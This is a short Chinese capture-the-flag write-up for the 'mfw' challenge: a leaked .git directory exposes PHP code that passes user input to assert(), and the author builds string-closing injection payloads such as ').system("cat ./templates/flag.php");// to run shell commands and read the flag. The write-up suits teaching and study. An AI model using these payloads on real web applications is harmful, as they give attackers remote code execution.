mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
The Straggling Crow3 小时前
熟练版本控制 (Git)、CI/CD 流程。
git·elasticsearch·ci/cd
海绵宝宝_5 小时前
Copilot 一键生成中文 Git Commit Message
git
孫治AllenSun6 小时前
【Git】分支管理
git
甲虫机6 小时前
git 常用命令
git
安果移不动6 小时前
【Git实战】记录一次分支切换失败的排查:Submodule 脏状态与强制切换
git
痕忆丶6 小时前
git 软重置的使用场景git reset --soft HEAD~1
git
杰瑞学AI8 小时前
在Git的缩写哈希中踩的坑
git
dragoooon348 小时前
[Linux网络基础——Lesson9.「TCP 全连接队列与 tcpdump 抓包」]
前端·git·github
大、男人9 小时前
分享一个git设备代理的方法
git
悟悟悟!9 小时前
git使用笔记:git日常工作流和命名规范
笔记·git·elasticsearch